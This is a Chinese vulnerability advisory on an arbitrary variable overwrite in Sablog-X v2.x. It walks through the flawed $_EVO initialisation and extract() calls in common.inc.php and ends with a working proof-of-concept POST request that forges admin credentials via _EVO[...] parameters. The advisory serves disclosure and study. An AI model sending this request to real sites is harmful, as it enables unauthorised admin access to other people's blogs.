Sablog-X v2.x 任意变量覆盖漏洞author: 80vul-B
team:http://www.80vul.com一 描叙:由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞,导致可以利用extract()来覆盖任意变量,最终导致xss、sql注射、代码执行等很多严重的安全漏洞。二 分析common.inc.php代码里:....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_COOKIE, EXTR_SKIP);@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...if ($_EVO = $DB->fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里,如果这个if条件不满足,将跳过这个初始化过程。
...
}
if(!$sessionexists) {if($sax_uid) {if(!($_EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) {
...
@extract($_EVO); //覆盖任意变量由上面的代码片断可以看到,只要使$sax_hash和$sax_uid的布尔值为fales,$_EVO就不会被赋值,而$sax_hash和$sax_uid这两个变量来自由$_COOKIE,这样我们可以很容易的控制$_EVO了,然后通过extract()来覆盖任意变量,这将导致xss、sql inj、代码执行等很多严重的安全漏洞:)三 利用下面给个后台权限欺骗的PoC:POST http://127.0.0.1/sax/cp.php  HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/sax/cp.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Content-Length: 138
Connection: Close_EVO[sax_uid]=1&_EVO[sax_pw]=1&_EVO[sax_logincount]=1&_EVO[sax_hash]=1&_EVO[sax_group]=1&_EVO[sax_auth_key]=1&_EVO[timestamp]=111111111111四 补丁[fix]缺

Sablog-X v2.x 任意变量覆盖漏洞相关推荐

  1. php之变量覆盖漏洞讲解

    1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...

  2. csrf漏洞防御方案_变量覆盖漏洞利用及防御方案

    一.漏洞简介 变量覆盖漏洞是指攻击者使用自定义的变量去覆盖源代码中的变量,从而改变代码逻辑,实现攻击目的的一种漏洞.通常来说,单独的变量覆盖漏洞很难有利用价值,但是在与其他应用代码或漏洞结合后,其造成 ...

  3. PHP代码审计笔记--变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...

  4. Discuz! $_DCACHE数组变量覆盖漏洞

    Discuz! $_DCACHE数组变量覆盖漏洞 author: ryat_at_[url]www.wolvez.org[/url] team:[url]http://www.80vul.com[/u ...

  5. php之变量覆盖漏洞讲解,PHP中的变量覆盖漏洞代码深入解析

    2.CTF中extract()导致的变量覆盖 我们大致分析是要求我们GET传参进去值会经过extract()函数下来会有两个if 第一个if判断 ceshi这个变量是否存在 存在则继续执行if里面的 ...

  6. 记一次无意间发现某学校图书检索系统的变量覆盖漏洞

    这是汇文OPAC很早就存在的一个严重漏洞 补充漏洞信息参考来源https://www.seebug.org/vuldb/ssvid-90722 1. 利用存在该漏洞参数的链接,访问存在漏洞文件,并覆盖 ...

  7. 齐博CMS变量覆盖漏洞exp

     漏洞的具体分析在 http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.AooULy&id=13,下面公布一下我写的漏洞利用以及ex ...

  8. linux glance删除命令,OpenStack Glance v2 API任意文件删除漏洞(CVE-2012-5482)

    发布日期:2012-11-08 更新日期:2012-11-13 受影响系统: openstack Glance Grizzly openstack Glance Essex (2012.1) open ...

  9. [BJDCTF2020]Mark loves cat(.git源码泄露与代码审计之变量覆盖漏洞)

    知识点: php中$$用来定义可变变量 解题: python GitHack.py http://e6e2adea-991f-4ae7-b4ea-0f82d49d8f8c.node3.buuoj.cn ...

  10. 一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

    时间戳--2021.12.12 0x01 [HXBCTF 2021]easywill_WriteUp: 一.PHPSTORM框架调试 第一步:登录buuctf,打开[HXBCTF 2021]easyw ...

最新文章

  1. 完胜ReLU!斯坦福的神经网络采用这种激活函数,竟高保真还原各种图像视频
  2. 当前被频频提及的企业数字化转型是什么?
  3. linux(centos 7版) 配置静态ip
  4. python程序的控制结构
  5. Fragment全解析系列
  6. 6.6 二分 K-Means 算法-机器学习笔记-斯坦福吴恩达教授
  7. Jmeter中JDBC Connection Configuration实现MySQL JDBC Request数据库处理
  8. AviSynth——强大的视频文件后期处理工具
  9. 参数少一半、速度快3倍:最新目标检测核心架构来了
  10. DataGridView 中合并单元格
  11. java 网格包,求大神解答:JAVA网格包布局管理器小程序问题
  12. 记一次网络访问故障排查
  13. java swing窗口放置屏幕中央问题思考
  14. 指数函数在c语言中怎么输入,指数函数如果想得到整型的值怎样做?
  15. 网管员的最爱!解密六款低成本RADIUS
  16. Chrome浏览器中比较实用的一些插件(文字复制、广告拦截、视频倍速、文献下载)
  17. 阿里巴巴JAVA开发手册资源分享
  18. MMI、SS、USSD介绍
  19. 计算机网络教学仿真平台,网络三维虚拟校园仿真平台构建
  20. 英文学习20180529

热门文章

  1. java 小技巧_成为JAVA高手的25个小窍门
  2. 类似911的代理ip,911代理的官网,yilu代理软件,911s5替代软件海外代理平台哪里有?
  3. Android打开项目一直build的问题解决
  4. 一阶微分方程组c语言编程,一阶常微分方程数值解的C语言编程实现
  5. 洞察·分析·管理 | 解读良品铺子的客户体验管理三部曲
  6. 钉钉安装需要管理员权限报错解决办法
  7. 首款基于龙芯的域名系统服务器发布,首款基于龙芯CPU的国产域名服务器发布
  8. 2021年12月大学英语六级作文
  9. 软件测试整理:测试设计
  10. 什么是同源策略,为什么浏览器要使用同源策略